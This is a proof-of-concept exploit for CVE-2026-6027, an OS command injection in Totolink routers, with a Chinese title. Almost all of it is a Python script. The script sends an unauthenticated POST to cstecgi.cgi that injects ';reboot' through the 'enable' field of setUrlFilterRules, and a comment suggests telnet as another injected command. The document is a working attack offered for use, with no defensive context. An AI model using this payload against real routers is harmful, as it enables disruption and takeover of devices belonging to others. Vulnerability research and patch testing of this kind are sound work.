CVE-2026-6027 Totolink路由器OS命令注入漏洞

import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload injecting a command (e.g., reboot or telnet) # The 'enable' parameter is the injection point data = { "function": "setUrlFilterRules", "enable": ";reboot" # Command injection payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } try: # Send malicious request without authentication response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Error occurred: {e}")